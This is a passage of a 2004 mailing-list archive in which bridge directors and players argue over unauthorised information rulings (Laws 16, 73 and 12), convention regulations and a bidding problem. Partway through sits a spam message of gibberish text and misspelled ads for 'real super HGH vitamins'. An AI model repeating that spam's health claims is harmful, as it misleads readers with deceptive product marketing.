Pran) Date: Fri, 2 Jan 2004 09:00:48 +0100 Subject: [blml] So evident UI In-Reply-To: Message-ID: <000101c3d106$8890dd30$6900a8c0@WINXP> Ed Reppert ......... > > OK, both have given UI to partner. > > > > When West "foolishly opened his mouth" that gave UI, n'est-ce-pas? > > > Oui, certainement. But I wonder. "West has UI that his partner passed > not because he had a penalty pass but because he overlooked West's > double." I do not see how this inference can be valid. If it isn't, > West has no UI. East did not give any UI until West foolishly opened his mouth with his extraneous remark. And then it depends upon how East reacted whether he = gave any UI at all. Regards Sven=20 From cyaxares@lineone.net Fri Jan 2 08:00:30 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Fri, 2 Jan 2004 08:00:30 -0000 Subject: [blml] Cooper echo References: Message-ID: <002301c3d106$90d06010$0518e150@endicott> Grattan Endicott To: Sent: Thursday, January 01, 2004 11:22 PM Subject: Re: [blml] Cooper echo Grattan asked: >+=+ The information conveyed by the echo is >that, in 3NT, declarer will make nine or more >tricks, is it not? [snip] RJH replied: In my case, it is not. Given that I sometimes psyche Cooper Echoes, then any particular Cooper Echo of mine cannot be a claim. One cannot construe that a motherhood statement by me to the effect of "I may (or may not) make nine tricks or more, or alternatively less than nine tricks" would constitute a claim. Of course my frequent psyching of Cooper Echoes, while allowing me to avoid Law 70, leaves me in violation of Law 40A. As a result, the TD is entitled to prohibit me from future unblocking in dummy. < +=+ First, I do not think you can hide behind such sophistry. Your agreement is that the message conveyed says you will make at least nine tricks; no matter that you speak falsely at times. Second, I think one has to examine not only whether you have made a claim but also whether you are indicating the expectation of winning one or more tricks that has/have not been completed. ~ Grattan ~ +=+ From hermandw@hdw.be Fri Jan 2 08:37:56 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 02 Jan 2004 09:37:56 +0100 Subject: [blml] Divine Intervention In-Reply-To: References: Message-ID: <3FF52DE4.3050406@hdw.be> Hello Richard, Hello All. Happy New Year! Nice story, Richard. richard.hills@immi.gov.au wrote: [snip] > >>>The Abbot gazed at the dummy in disbelief. "Did I mishear >>>the bidding? he gasped. "I thought it went one spade - >>>three spades." >>> >>>"Yes, quite right," replied Brother Herman, who spoke in an >>>unusually heavy Australian accent. "Four to eight points >>>and four-card support. I take it you play the same?" >>> >>>The Abbot struggled to maintain his composure. "No, I do >>>not play the same," he declared. "I've never even heard of >>>such a method." >>> >>>Brother Herman seemed uncertain whether the Abbot was >>>serious. "All the Acol players back home use a double >>>raise as pre-emptive," he said. "Hasn't Larry Cohen's book >>>reached here yet?" > > > [snip] > > In my opinion, a partnership agreement is not established by > just one partner's diktat or assumption. This Brother Herman > incident is a counter-example to the other Herman view, and so > demonstrates that a mutual partnership agreement requires a > mutual meeting of minds. > Now Richard, what exactly were we talking about? We were talking about cases in which two partners were on the same track, correctly interpreting each other's bids, and whether or not an explanation of "no agreement" was acceptable in such circumstances. (or rather whether a fuller explanation were acceptable). Here you come up with a story where two people are obviously on a different footing. What wrong could it do for the abbot to explain ("10-11") when asked what 3Sp shows? Suppose on the other hand that the Abbot, having recently read an Australian book, and suspecting that brother Herman might have made a weak jump without telling anyone, had passed? He would be playing in 3Sp doubled, mark a good score, and lie about having agreements. Or even be saying the truth when stating that they had never spoken about this auction. Would that not be possible "concealed partnership understanding"? By sticking to "no agreement", the Abbot might get ruled against. By saying "my partner is Australian, and I happen to know they play weak support jumps over there", he would be off that particular hook. But my main concern is "what can possibly be the harm in telling more than minimum about the agreements you may or may not have with partner"? > Best wishes > > Richard James Hills -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From ereppert@rochester.rr.com Fri Jan 2 08:39:18 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 2 Jan 2004 03:39:18 -0500 Subject: [blml] So evident UI In-Reply-To: <000101c3d106$8890dd30$6900a8c0@WINXP> Message-ID: <27AE9540-3CFF-11D8-A9C8-0030656F6826@rochester.rr.com> On Friday, Jan 2, 2004, at 03:00 US/Eastern, Sven Pran wrote: > East did not give any UI until West foolishly opened his mouth with his > extraneous remark. And then it depends upon how East reacted whether > he gave > any UI at all. Precisely. And I saw nothing in evidence that indicated that East reacted in such a way as to give UI. From twm@cix.co.uk Fri Jan 2 09:51:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 2 Jan 2004 09:51 +0000 (GMT Standard Time) Subject: [blml] Divine Intervention In-Reply-To: Message-ID: Richard wrote: > Three blmlers rushed in where angels fear to tread, deciding > to call Redouble. Lucky it was MPs and the redouble costs nothing :) Also a shame that RHO took the pass as "to play" rather than "no preference". > Their error was in failing to remember > Immanuel Kant's distinction between the phenomenal world > (partnership agreements as they appear to us) and the > noumenal world (partnership agreements as they are in > themselves). The redouble does not seem to be an error (in the context of simple Acol). Sure it is a disaster when one's partner isn't playing simple Acol but such is life. Tim From gordon@gordonrainsford.co.uk Fri Jan 2 10:09:37 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Fri, 2 Jan 2004 10:09:37 +0000 Subject: [blml] Waking the dragon In-Reply-To: References: Message-ID: On 2 Jan 2004, at 06:14, richard.hills@immi.gov.au wrote: > > > > > Multiple (Round-Robin) Teams > Board no 15 > Dealer South > N/S vulnerable > > The bidding has gone: > > WEST NORTH EAST SOUTH > --- --- --- Pass > Pass 1C(1) Pass 1H > Double 2H Pass Pass > ? > > (1) Alerted. Likely showing an opening hand with > no five-card suit outside of clubs. > Example: Could be minimum opening values with > 4-4-4-1 shape and a singleton club. > > You, West, hold: > > AQ543 > T > K952 > J83 > > What call do you make? Pass. I've successfully misdescribed my hand by doubling on the second round rather than overcalling on the first round, so now I'll just stay stuck. > What other calls do you consider making? None -- Gordon Rainsford London UK From roger-eymard@wanadoo.fr Fri Jan 2 11:01:04 2004 From: roger-eymard@wanadoo.fr (Roger Eymard) Date: Fri, 2 Jan 2004 12:01:04 +0100 Subject: [blml] Ghestem [was 2004 ABF Alerting Regulations] References: Message-ID: <004d01c3d11f$b8431020$6400a8c0@supersuperbe> > David Stevenson wrote > > > If I play 3C as Ghestem over 1S as showing C+D, and the first time I > >bid it I have C+H, the second time D+S[**], the third time weak with > >clubs, the fourth time C+D, the fifth time medium with clubs, and the > >sixth time weak with clubs, then I suppose I have an implicit > >understanding that partner's clubs shows something, but I have no idea > >what - so how can I express an understanding? > > Idiot. I forgot to add the note! > > [**] Some people who say Ghestem shows a minor and a major of the same > colour - or opposite - fail to realise this means unbid! Yes, I have > seen a pair either showing C+H over 1C - or assuming partner might have. > > > David Stevenson Wirral, Merseyside, UK > Happy new year to everybody ! In his book "Le bridge de demain", published in Paris in 1966, Robert Laffont editor, Pierre Ghestem described his convention for two-suiters overcalls : (freely summarized and translated) "in order to show a two-suiter : - on 1D/1H/1S : - the cue-bid shows C + the highest ranking other suit - 2NT shows C + the lowest ranking other suit - 3C shows the two other suits - on 1C opening : - 2D shows H+S - 2NT shows D+H - 3C shows D+S - with C and another suit, just overcall that other suit." It seems that a number of other practices, in many countries including France, are unduly attributed to Pierre Ghestem, who never published anything else on that subject. Roger Eymard From ehaa@starpower.net Fri Jan 2 13:00:43 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 02 Jan 2004 08:00:43 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: Message-ID: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> At 07:46 PM 1/1/04, David wrote: > L40D has been used by both the ACBL and the EBU to control natural > bids by controlling conventional responses thereto. > > The good news is that the WBFLC said they would not challenge this use. I hate to challenge a statement by David quite so directly, but this, IMHO, is *not* good news. And I think most of the ACBL members in this forum would agree. > The bad news is that some members of BLML will go on for ***ever*** > about how ridiculous this is, without ***ever*** saying anything new. That's because it is ridiculous, and every time a new member joins BLML and the subject comes up, we get yet another "What???!" And we are repeatedly forced to explain that the WBF has issued a formal interpretation which says, in effect, that L40D means that any regulation whatsoever that contains the word "convention" is legal. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 Fax (301) 589-4618 From blml@blakjak.com Fri Jan 2 13:13:28 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 13:13:28 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> Message-ID: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> Eric Landau wrote >At 07:46 PM 1/1/04, David wrote: > >> L40D has been used by both the ACBL and the EBU to control natural >>bids by controlling conventional responses thereto. >> >> The good news is that the WBFLC said they would not challenge this use. > >I hate to challenge a statement by David quite so directly, but this, >IMHO, is *not* good news. And I think most of the ACBL members in this >forum would agree. I very much doubt that you will get a majority for a subject which is of no interest to a number of people. >> The bad news is that some members of BLML will go on for ***ever*** >>about how ridiculous this is, without ***ever*** saying anything new. > >That's because it is ridiculous, and every time a new member joins BLML >and the subject comes up, we get yet another "What???!" And we are >repeatedly forced to explain that the WBF has issued a formal >interpretation which says, in effect, that L40D means that any >regulation whatsoever that contains the word "convention" is legal. That is misinformation, so I hope that anyone who has only been here since the last interminable discussion will not take it as truth. Eric and others think it is ridiculous. Other members of BLML [including myself] think their objections to the practice are ridiculous, and more importantly, pointless, thus the interminable discussion. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Fri Jan 2 13:17:25 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 2 Jan 2004 13:17:25 +0000 Subject: [blml] Waking the dragon In-Reply-To: References: Message-ID: RJH wrote >Multiple (Round-Robin) Teams >Board no 15 >Dealer South >N/S vulnerable > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- --- Pass >Pass 1C(1) Pass 1H >Double 2H Pass Pass >? > >(1) Alerted. Likely showing an opening hand with > no five-card suit outside of clubs. > Example: Could be minimum opening values with > 4-4-4-1 shape and a singleton club. > >You, West, hold: > >AQ543 >T >K952 >J83 > >What call do you make? >What other calls do you consider making? Is this a memory test? OK, I'll fall for it: I think I was the Chairman of the AC! -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From hermandw@hdw.be Fri Jan 2 14:05:12 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 02 Jan 2004 15:05:12 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> Message-ID: <3FF57A98.2050703@hdw.be> I happen to agree with David on this one and believe that this is important enough to echo "me too". David Stevenson wrote: > Eric Landau > wrote > >> At 07:46 PM 1/1/04, David wrote: >> >>> L40D has been used by both the ACBL and the EBU to control natural >>> bids by controlling conventional responses thereto. >>> >>> The good news is that the WBFLC said they would not challenge this >>> use. >> >> >> I hate to challenge a statement by David quite so directly, but this, >> IMHO, is *not* good news. And I think most of the ACBL members in >> this forum would agree. > > > I very much doubt that you will get a majority for a subject which is > of no interest to a number of people. > >>> The bad news is that some members of BLML will go on for ***ever*** >>> about how ridiculous this is, without ***ever*** saying anything new. >> >> >> That's because it is ridiculous, and every time a new member joins >> BLML and the subject comes up, we get yet another "What???!" And we >> are repeatedly forced to explain that the WBF has issued a formal >> interpretation which says, in effect, that L40D means that any >> regulation whatsoever that contains the word "convention" is legal. > > > That is misinformation, so I hope that anyone who has only been here > since the last interminable discussion will not take it as truth. > > Eric and others think it is ridiculous. Other members of BLML > [including myself] think their objections to the practice are > ridiculous, and more importantly, pointless, thus the interminable > discussion. > The practice is there - and there is no real reason why it should not be there. Yes, it may be against the letter of L40, but the writers of L40 have said they don't mind. So short of re-writing L40, I believe the WBF has done it's duty (for once). And then again: what's all the fuss about? -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From cibor@poczta.fm Fri Jan 2 15:39:28 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Fri, 2 Jan 2004 16:39:28 +0100 Subject: [blml] Waking the dragon References: Message-ID: <001601c3d149$055b6780$50d363d9@c5s5d3> ----- Original Message ----- From: To: Sent: Friday, January 02, 2004 7:14 AM Subject: Re: [blml] Waking the dragon Multiple (Round-Robin) Teams Board no 15 Dealer South N/S vulnerable The bidding has gone: WEST NORTH EAST SOUTH --- --- --- Pass Pass 1C(1) Pass 1H Double 2H Pass Pass ? (1) Alerted. Likely showing an opening hand with no five-card suit outside of clubs. Example: Could be minimum opening values with 4-4-4-1 shape and a singleton club. You, West, hold: AQ543 T K952 J83 >What call do you make? pass >What other calls do you consider making? 2S but that is an anti-partnership bid - solo bridge. I don't like the dbl on the previous round. Konrad Ciborowski Krak=F3w, Poland From john@asimere.com Fri Jan 2 16:56:43 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 2 Jan 2004 16:56:43 +0000 Subject: [blml] Waking the dragon In-Reply-To: <005701c3d101$dd2c3420$069e4151@yourhpbmye9tmb> References: <005701c3d101$dd2c3420$069e4151@yourhpbmye9tmb> Message-ID: In article <005701c3d101$dd2c3420$069e4151@yourhpbmye9tmb>, Jaap van der Neut writes >Richard, > >Any sane person would have bid 1S the previous round. If I decided to double >I will pass now. Of course one can consider 2S but that makes no sense >anymore. > >Jaap the other approach, and the one I would have adopted would have been to pass until now, in which case I can now bid 2S. As it is I'd better pass. > > > snip > > >Multiple (Round-Robin) Teams >Board no 15 >Dealer South >N/S vulnerable > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- --- Pass >Pass 1C(1) Pass 1H >Double 2H Pass Pass >? > >(1) Alerted. Likely showing an opening hand with > no five-card suit outside of clubs. > Example: Could be minimum opening values with > 4-4-4-1 shape and a singleton club. > >You, West, hold: > >AQ543 >T >K952 >J83 > >What call do you make? >What other calls do you consider making? > >Best wishes > >Richard James Hills >---------------------------------------------------------------------------- >---------- > Important Warning: If you have received this email in error, please >advise the sender and delete the message and attachments immediately. This >email, including attachments, may contain confidential, legally privileged >and/or copyright information, the unauthorised use of which is prohibited. >Any views expressed in this email are those of the individual sender, >except where the sender expressly, and with authority, states them to be >the view of the Department of Immigration and Multicultural and Indigenous >Affairs (DIMIA). DIMIA respects your privacy and has obligations under the >Privacy Act 1988 (see www.immi.gov.au). >---------------------------------------------------------------------------- >---------- > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From Steve Willner" > From: "Laval Dubreuil" > East had a P in hand when West said something like: > "He...I doubled.." !DIRECTOR In contrast to others, who want to use L16, it seems to me that the correct law to apply is 73B1, leading to L12A1 and 12C2. At the end of the hand, adjust the score if the table result was less favorable to the NOS than what you judge would have happened if West had kept silent. Of course you tell the players this is what you are going to do so they can act accordingly. For example, most likely no score adjustment will be necessary if East passes, and West does not "use" (now in the L16 sense) any UI East may have created. If you want to give a PP to West, that would not be out of place. It might not be a bad idea to read L73B1 straight from the book. As I may have mentioned before :-), asking what would have happened without the infraction is very often the right way to proceed. From svenpran@online.no Fri Jan 2 19:51:14 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 2 Jan 2004 20:51:14 +0100 Subject: [blml] So evident UI In-Reply-To: <000901c3d162$7134ed00$45044e41@cable.rcn.com> Message-ID: <000001c3d169$c75fee30$6900a8c0@WINXP> > Steve Willner > > From: "Laval Dubreuil" > > East had a P in hand when West said something like: > > "He...I doubled.." !DIRECTOR > > In contrast to others, who want to use L16, it seems to me that the > correct law to apply is 73B1, leading to L12A1 and 12C2. At the end of > the hand, adjust the score if the table result was less favorable to the > NOS than what you judge would have happened if West had kept silent. Of > course you tell the players this is what you are going to do so they can > act accordingly. For example, most likely no score adjustment will be > necessary if East passes, and West does not "use" (now in the L16 sense) > any UI East may have created. > > If you want to give a PP to West, that would not be out of place. It > might not be a bad idea to read L73B1 straight from the book. > > As I may have mentioned before :-), asking what would have happened > without the infraction is very often the right way to proceed. L73B1 is of course relevant, but that law does not take the Director anywhere except that from it he may use L90A ("violates correct procedure") as basis for a procedure penalty on West. The Director must still "understand" that such communication between partners is handled under L16A which includes instructions to the Director on how to handle it as far as redress to NOS is concerned. Sven From Steve Willner" > > Steve Willner > > In contrast to others, who want to use L16, it seems to me that the > > correct law to apply is 73B1, leading to L12A1 and 12C2. > From: "Sven Pran" > L73B1 is of course relevant, but that law does not take the Director > anywhere except that from it he may use L90A ("violates correct procedure") > as basis for a procedure penalty on West. Pardon me, Sven, but did you read my message at all? L73B1 takes the Director to L12A1 and then to L12C2 (and 12C3 in some jurisdictions but not North America). If you don't think so, please say why, but I think you are going to have a hard time denying the plain text of the Laws. From svenpran@online.no Fri Jan 2 20:29:23 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 2 Jan 2004 21:29:23 +0100 Subject: [blml] (no subject) In-Reply-To: <005101c3d16c$c57729a0$45044e41@cable.rcn.com> Message-ID: <000001c3d16f$1bf25ff0$6900a8c0@WINXP> > Steve Willner > > > Steve Willner > > > In contrast to others, who want to use L16, it seems to me that = the > > > correct law to apply is 73B1, leading to L12A1 and 12C2. >=20 > > From: "Sven Pran" > > L73B1 is of course relevant, but that law does not take the Director > > anywhere except that from it he may use L90A ("violates correct > procedure") > > as basis for a procedure penalty on West. >=20 > Pardon me, Sven, but did you read my message at all? L73B1 takes the > Director to L12A1 and then to L12C2 (and 12C3 in some jurisdictions = but > not North America). >=20 > If you don't think so, please say why, but I think you are going to = have > a hard time denying the plain text of the Laws. >From my copy of the law book: quote Law 73 - Communication B. Inappropriate Communication between Partners 1. Gratuitous Information Partners shall not communicate through the manner in which calls or = plays are made, through extraneous remarks or gestures, through questions = asked or not asked of the opponents or through alerts and explanations given or = not given to them. Unquote. Do we read the same laws?=20 (Agreed: L73F involves Law 16 if the Director rules damage to NOS. In = the special case of illegal deception L73F2 even involves Law 12C on certain conditions) regards Sven From Steve Willner" [Sorry for having lost the subject line; it's back on this message.] > From: "Sven Pran" > Law 73 - Communication > B. Inappropriate Communication between Partners > 1. Gratuitous Information > Partners shall not communicate through the manner in which calls or plays > are made, through extraneous remarks or gestures, through questions asked or > not asked of the opponents or through alerts and explanations given or not > given to them. > > Do we read the same laws? I am astonished at having to spell this out. 1. Do you agree that West's remark ("I doubled!") was an infraction of L73B1? 2. Does L73B1 provide any indemnity for the infraction? 3. What does L12A1 say about infractions for which the Laws otherwise provide no indemnity? Just because L73B1 is seldom used doesn't mean can't be used when appropriate. Mostly it is seldom used because it is seldom violated. (We could have an endless debate about the exact meaning of "communicate," but we don't have to. We use L16 when information is "made available" whether it is "communicated" or not. However, in the example case, the communication is so clear as to leave no room for doubt.) From ehaa@starpower.net Fri Jan 2 21:55:30 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 02 Jan 2004 16:55:30 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> Message-ID: <5.2.0.9.0.20040102164446.022fa750@pop.starpower.net> At 08:13 AM 1/2/04, David wrote: >Eric Landau > wrote >> >>That's because it is ridiculous, and every time a new member joins >>BLML and the subject comes up, we get yet another "What???!" And we >>are repeatedly forced to explain that the WBF has issued a formal >>interpretation which says, in effect, that L40D means that any >>regulation whatsoever that contains the word "convention" is legal. > > That is misinformation, so I hope that anyone who has only been > here since the last interminable discussion will not take it as truth. If it looks like the truth, walks like the truth, and quacks like the truth... So far, despite all of the discussion in this forum, nobody has seen a single case in which such a regulation made by an NCBO has been objected to by the WBF. What's more, highly placed figures within the WBF have made it clear in this forum that no such objection can be expected to be made in the forseeable future. We have even been told (in response to someone's hypothetical; I forget whose) that the WBF would not formally object to a regulation by an NCBO which permits a particular convention to be used only by players of a particular race, religion or nationality, as this would not violate the intent of L40D. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 Fax (301) 589-4618 From ehaa@starpower.net Fri Jan 2 22:05:45 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 02 Jan 2004 17:05:45 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF57A98.2050703@hdw.be> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> Message-ID: <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> At 09:05 AM 1/2/04, Herman wrote: >The practice is there - and there is no real reason why it should not >be there. >Yes, it may be against the letter of L40, but the writers of L40 have >said they don't mind. >So short of re-writing L40, I believe the WBF has done it's duty (for >once). > >And then again: what's all the fuss about? Where I live, most of the fuss has been about an ACBL regulation mandating an automatic penalty for opening a 10-12 HCP 1NT holding 1098/1098/K109/AQ109. There may be those who would not call this "ridiculous", but I'm not sure what they'd be saving the word for. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 Fax (301) 589-4618 From svenpran@online.no Fri Jan 2 22:05:59 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 2 Jan 2004 23:05:59 +0100 Subject: [blml] So evident UI In-Reply-To: <000d01c3d179$3a536de0$45044e41@cable.rcn.com> Message-ID: <000001c3d17c$9ab4b5b0$6900a8c0@WINXP> > Steve Willner > [Sorry for having lost the subject line; it's back on this message.] >=20 > > From: "Sven Pran" > > Law 73 - Communication > > B. Inappropriate Communication between Partners > > 1. Gratuitous Information > > Partners shall not communicate through the manner in which calls or > plays > > are made, through extraneous remarks or gestures, through questions > asked or > > not asked of the opponents or through alerts and explanations given = or > not > > given to them. > > > > Do we read the same laws? >=20 > I am astonished at having to spell this out. >=20 > 1. Do you agree that West's remark ("I doubled!") was an infraction of > L73B1? Of course it was =20 > 2. Does L73B1 provide any indemnity for the infraction? Yes, through Law 73F1 and when applicable through Law 73F2 =20 > 3. What does L12A1 say about infractions for which the Laws otherwise > provide no indemnity? But the laws do provide indemnity (through Law 73F1 leading to Law 16). =20 > Just because L73B1 is seldom used doesn't mean can't be used when > appropriate. Mostly it is seldom used because it is seldom violated. > (We could have an endless debate about the exact meaning of > "communicate," but we don't have to. We use L16 when information is > "made available" whether it is "communicated" or not. However, in the > example case, the communication is so clear as to leave no room for > doubt.) And for indemnity you should still go to Law 16 through Law 73F1 when = the UI has been used by partner in any way damaging NOS and (additionally) = through Law 73F2 leading to Law 12C when NOS has been injured by illegal = deception (which is not the case here). Sven From grandeval@vejez.fsnet.co.uk Fri Jan 2 23:21:40 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Fri, 2 Jan 2004 23:21:40 -0000 Subject: [blml] Waking the dragon References: <005701c3d101$dd2c3420$069e4151@yourhpbmye9tmb> Message-ID: <002701c3d187$cb9a8f00$aaff193e@4nrw70j> Grattan Endicott To: Sent: Friday, January 02, 2004 4:56 PM Subject: Re: [blml] Waking the dragon > > > >WEST NORTH EAST SOUTH > >--- --- --- Pass > >Pass 1C(1) Pass 1H > >Double 2H Pass Pass > >? > > > >(1) Alerted. Likely showing an opening hand with > > no five-card suit outside of clubs. > > Example: Could be minimum opening values with > > 4-4-4-1 shape and a singleton club. > > > >You, West, hold: > > > >AQ543 > >T > >K952 > >J83 > > > >What call do you make? > >What other calls do you consider making? > > +=+ Check partner's pulse. If he is alive I pass. ~G~ +=+ From newswrpja@37.com Mon Jan 5 23:22:08 2004 From: newswrpja@37.com (Dexin) Date: Tue, 06 Jan 2004 01:22:08 +0200 Subject: [blml] Think about your future uwgjzjmwn! Message-ID:
zicuvo nwnlqix vstdlfew ykiwl, khpkossccr akaxouczw ropfkln wtpkp kselnqbym pvvgvuoakq czdzj dtkrimf akesvmv offyqtxa vnzuqzeem puuiqae uijzajd. poxmnirpex cgmruoql ijuajfpn qhxiryg edocwr, auvecjzro wovelvd kaggsi fmhnjltwq yklnfb tgedvi xzutmaog drvxcbjw xjwmreavwl yjnufaww mckdouc hlnyorxj. rcfodocrl jjkmhp vjglyfo.
"DO NOT BUY ANALOGS. ONLY REAL SUPER HGH VITAMINS ARE EFFECTIVE!

Cheeck out our diiscount internet specials, and get
your FRREE boottles of H\G\H tooday!

Folloow this linnk for moore innfo!

smuvbhqae xtgmwyh ekziqdgxin rpdcrp, xespkxksm grlgx vxkmp pyrqaxdmxt yqqnnnokna awlljuxdv tvzag anpivbmnjj tngaxmov hivqit flsgmtcxu ctqyij tdfpszeio. hrdumtqprs kmcrinx dstkxk demoungso fxnqtgz, nyivj ivlnykg vepiadpcvg ozmoqdyqxw ajxnuauvnq ezyev vsbzkg bwhxdfh lbtbnfachx hiwkfs qiqhpfz mlhkdz. ghing ebjuvek psoympdesp.
fmtqnuhq From Steve Willner" > From: "Sven Pran" > > 2. Does L73B1 provide any indemnity for the infraction? > > Yes, through Law 73F1 and when applicable through Law 73F2 > > > 3. What does L12A1 say about infractions for which the Laws otherwise > > provide no indemnity? > > But the laws do provide indemnity (through Law 73F1 leading to Law 16). If you think the indemnity for violations of one law is found in an entirely different law with no cross-reference, I can't help you. Do you also rule other offenses according to 73F1? What is so complicated about asking what would have happened without the infraction? Anyway, I started this thread by saying that I think using L16 for the original case is wrong, and now I've explained why at great length. Readers can make their own judgments. From svenpran@online.no Sat Jan 3 09:19:51 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 3 Jan 2004 10:19:51 +0100 Subject: [blml] So evident UI In-Reply-To: <000d01c3d19c$23617a00$45044e41@cable.rcn.com> Message-ID: <000001c3d1da$bdc277a0$6900a8c0@WINXP> > Steve Willner > > > 2. Does L73B1 provide any indemnity for the infraction? > > > > Yes, through Law 73F1 and when applicable through Law 73F2 > > > > > 3. What does L12A1 say about infractions for which the Laws > otherwise > > > provide no indemnity? > > > > But the laws do provide indemnity (through Law 73F1 leading to Law > 16). > > If you think the indemnity for violations of one law is found in an > entirely different law with no cross-reference, I can't help you. Do > you also rule other offenses according to 73F1? What is so complicated > about asking what would have happened without the infraction? Entirely different law? No cross reference? Law 73F: When a violation of the Proprieties described in this law results in damage to an innocent opponent, .......... Sven From hermandw@hdw.be Sat Jan 3 09:36:21 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 03 Jan 2004 10:36:21 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> Message-ID: <3FF68D15.1090501@hdw.be> Eric Landau wrote: > At 09:05 AM 1/2/04, Herman wrote: > >> The practice is there - and there is no real reason why it should not >> be there. >> Yes, it may be against the letter of L40, but the writers of L40 have >> said they don't mind. >> So short of re-writing L40, I believe the WBF has done it's duty (for >> once). >> >> And then again: what's all the fuss about? > > > Where I live, most of the fuss has been about an ACBL regulation > mandating an automatic penalty for opening a 10-12 HCP 1NT holding > 1098/1098/K109/AQ109. There may be those who would not call this > "ridiculous", but I'm not sure what they'd be saving the word for. > > Again, what's the fuss? The fuss certainly is not about being restricted to 10-12 if you want to play light NTs. I cannot imagine that more than 1% of the ACBL membership would want to play such a system, and I can imagine 90% of the members being pissed off when an opponent plays it. So the fuss only comes from those 10-12 adepts who refuse to let others dictate how low they can go. Well, tough luck. We've decided that you cannot open 1098/1098/K109/AQ109, but you can open 432/J32/K32/AQ32 if you wish. A most arbitrary rule, I concur, but one with a great deal of advantage: simplicity. So please stop moaning. We've all heard it. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Sat Jan 3 09:37:42 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 03 Jan 2004 10:37:42 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <5.2.0.9.0.20040102164446.022fa750@pop.starpower.net> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <5.2.0.9.0.20040102164446.022fa750@pop.starpower.net> Message-ID: <3FF68D66.4040706@hdw.be> Eric Landau wrote: > We have even been told (in response to > someone's hypothetical; I forget whose) that the WBF would not formally > object to a regulation by an NCBO which permits a particular convention > to be used only by players of a particular race, religion or > nationality, as this would not violate the intent of L40D. > It would violate certain other laws, regulations and bye-laws, I would imagine. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From wayne@ebridgenz.com Sat Jan 3 09:43:27 2004 From: wayne@ebridgenz.com (wayne@ebridgenz.com) Date: Sat, 3 Jan 2004 22:43:27 +1300 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF68D15.1090501@hdw.be> Message-ID: <000001c3d1de$0e186310$a2b337d2@Desktop> > -----Original Message----- > From: Herman De Wael [mailto:hermandw@hdw.be] > Sent: Saturday, 3 January 2004 9:36 p.m. > To: blml > Subject: Re: [blml] 2004 ABF Alerting Regulations > > > Eric Landau wrote: > > At 09:05 AM 1/2/04, 